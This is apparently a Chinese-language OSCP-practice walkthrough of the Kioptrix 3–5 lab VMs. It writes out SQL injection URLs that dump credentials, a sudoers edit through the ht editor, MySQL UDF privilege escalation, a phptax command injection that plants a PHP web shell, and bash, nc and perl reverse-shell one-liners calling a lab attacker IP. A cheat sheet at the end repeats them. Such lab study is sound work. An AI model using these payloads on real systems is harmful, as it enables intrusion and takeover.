2.6.2 不使用2.6.24提权失败查找一下suid文件，看看能不能利用suid提权，好像并不行去home目录下面看看，loneferret用户文件夹下有一个 CompanyPolicy.README 文件，不知道是什么东西，打开看看，有个sudo -iHello new employee, It is company policy here to use our newly installed software for editing, creating and viewing files. Please use the command 'sudo ht'. Failure to do so will result in you immediate termination. DG CEO 大致意思就是 您好新员工 这里的公司政策是使用我们新安装的软件来编辑、创建和查看文件。 请使用命令'sudo ht'。 不这样做将导致您立即终止。 DG 首席执行官我们再回到那个图片加载不出来的页面，想到可能是因为host问题，随便点一个链接，会发现ip跳转到 kioptrix3.com 这个域名，大概率是域名的问题，需要去host添加域名解析的 ipC:WindowsSystem32driversetchost这个时候再访问这个域名，页面就正常了再来测一测sql注入点这个试试选择id又有注入点了sql注入测试，sql语法错误，存在sql注入判断列数6列正常回显http://kioptrix3.com/gallery/gallery.php?id=1 order by 6-- +&sort=photoid#photos暴表http://kioptrix3.com/gallery/gallery.php?id=1 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()--+&sort=photoid#photos暴列http://kioptrix3.com/gallery/gallery.php?id=1 union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_name='gallarific_users'--+&sort=photoid#photos暴数据，得到账号密码，admin::n0t7t1k4http://kioptrix3.com/gallery/gallery.php?id=1 union select 1,group_concat(username,'::',password),3,4,5,6 from gallarific_users --+&sort=photoid#photos登录看看，密码错误切换这个用户试试，也不行同理，查，dev_accounts这张表http://kioptrix3.com/gallery/gallery.php?id=1 union select 1,group_concat(username,'::',password),3,4,5,6 from dev_accounts --+&sort=photoid#photos这样我们就看到了账号密码了，识别hashhash碰撞失败换一换其他工具转在线工具https://www.cmd5.com/default.aspx密码为starwars，登录成功sudo -l添加环境变量export TERM=xterm按 F3 或者 ALT+W 然后 方向键← ← ↓ 回车框中 输入/etc/sudoers保存退出sudo /bin/sh id提权成功第二种方法，就是用4089.c进行提权，第一个40616行不通，测试40839.c可行level 4主机发现curl判断80开启nmap扫描后，立马开始目录扫描弱口令，sql注入，admin/admin，123' and 1=1 --+这里有一个铭感文件泄露密码爆破myusernamemypasswordcookie伪造，也不行用nmap的 --script=vuln 参数试试，找找漏洞信息CVE-2007-6750拒绝服务攻击再回去看看目录，有一个database.sql文件，看样子是信息泄露了，看到了一条数据，但是还是登录失败没有思路了，再重头来一遍，在登录的地方密码处，存在一个sql注入漏洞，123' and 1=1 --+没有回显啊，不可能手工盲注啊，无奈了只能用sqlmapsqlmap -r post.txt --dump --batch --level 3登录进去后没有任何东西，就一个退出登录试试ssh登录# 注意这里要加一个参数，不然会登录失败，应该是目标靶机ssh版本低所导致的 ssh -o HostKeyAlgorithms=+ssh-rsa john@192.168.111.186两个账号都登录成功了一开始就有一个提示了，让我们使用help命令，似乎是只能使用这些命令来进行接下来的操作shell逃逸可以看到root用户启动了一个mysql进程suid文件查看，貌似没有可以利用的提权命令，sudo这些用户都不能用已知站点是php站点，查找一下php的文件，看看有没有可以利用的地方，比如mysql配置文件查找登录界面的信息，看到了mysql的账号密码（没有密码）登录mysql的提权方式有一个叫做udf提权，我们去看看udf表利用 sys_exec()函数将john用户添加到管理员组。sudo su （用于切换到超级用户"root"的shell）输入账号密码，提权成功level 5 Kioptrix2014同时进行，nmap主机探测立马nmap指纹识别，后curl 80探测，第三个终端目录扫描首页查看响应的源码访问，不知道是什么东西，应该是目录枚举了，和我们获取权限没有什么关系直接搜，刚好版本是一模一样的这里有漏洞的利用方式访问到文件信息了，任意文件查看看看其他信息，操作系统为FreeBSD编译后的exp提示，是没有apache 2.2.x版本的，所以第一关里面的方法利用不了了看其他信息，有一个8080端口403拒绝访问去看看apache配置文件（一般都在/usr/local/etc/apache2x/httpd.conf），利用刚刚的文件枚举漏洞，查看正常访问了，有一个phptax页面又是一个新页面随便点一点试试关键检索，有一个代码执行漏洞查看24665.txt访问后，应该是没有nc，执行不了命令/bin/bash -i >& /dev/tcp/192.168.111.128/8888 0>&1 nc 192.168.111.128 8888 -e /bin/bash写入一句话马试试http://192.168.111.149:8080/phptax/drawimage.php?pfilez=1040pg1.pdf;echo "<?php system($_GET['cmd']); ?>" > shell1.php;&pdf=make# 反弹不了命令，就多试几个，总有一个能用 perl -e 'use Socket;$i="192.168.111.128";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};' perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.111.128:8888");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'这里使用的是 perl sh反弹成功了目标靶机上没有python，创建不了交互式终端，但是并不影响我们提权查内核信息查SUID文件，基本的sudo都没有，去检索内核根据内核信息有俩个权限提升漏洞这里看靶机是没有wget和curl的，但是有nc小知识，nc也是可以传文件的（测试过很多遍，没传成功），还有个技巧就是利用ftp# 攻击机开启ftp python3 -m pyftpdlib # 靶机连接 ftp ftp://192.168.111.128:2121/file搞了半天，kali新版的python的开不了，人麻了，传到本机来开成功传上去了exp传上去后gcc -o exp exploit.c ./exp即可提权成功，我这里环境出问题了，显示不了了怎么创建交互式终端都不行，害命令小姐# 创建交互式终端的几种方式 echo os.system("/bin/bash") python -c "import pty; pty.spawn('/bin/bash')" /bin/sh -i gcc -o exp xxx.c # c文件编译，-o表示的是输出的文件名称 python -m http.server # 开启小型的http服务 python3 -m ptyftpdlib # 开启小型的ftp服务器 ftp ftp://ip:port/file #使用ftp接收文件 # 常用的反弹shell /bin/bash -i >& /dev/tcp/192.168.111.128/8888 0>&1 nc 192.168.111.128 8888 -e /bin/bash # 注意这里要加一个参数，不然会登录失败，应该是目标靶机ssh版本低所导致的 ssh -o HostKeyAlgorithms=+ssh-rsa john@192.168.111.186 usermod -a -G admin john # 将john用户添加到admin组 # mysql提权(udf提权)用到的表（查） select * from mysql.func; select sys_exec('commend'); uname -a # 查看系统的全部信息哪些好的资料可以分享？我在学习和备考的时候参考的一些不错的资源，汇总如下：注册指南：《OSCP认证教程第一集：注册教程》https://www.freebuf.com/column/194605.htmlLinux提权指南：https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/Windows提权辅助脚本：https://github.com/pentestmonkey/windows-privesc-check模拟练习平台（跟Lab环境类似）：vulnhub https://www.vulnhub.com/ hackthebox https://www.hackthebox.eu/badchars工具：https://github.com/mgeeky/expdevBadChars往期推荐不用MSF？红日靶场4，从外网到域控，手工干永恒之蓝，教科书级渗透教学防溯源小技巧ATK&CK红日靶场二，Weblogic漏洞利用，域渗透攻略【OSCP】vulnerable_docker，三种代理方法打入内网【内网渗透】CobaltStrike与MSF联动互相上线的方式【内网渗透】ICMP隧道技术，ICMP封装穿透防火墙上线MSF/CS【渗透测试】Linux隐身登录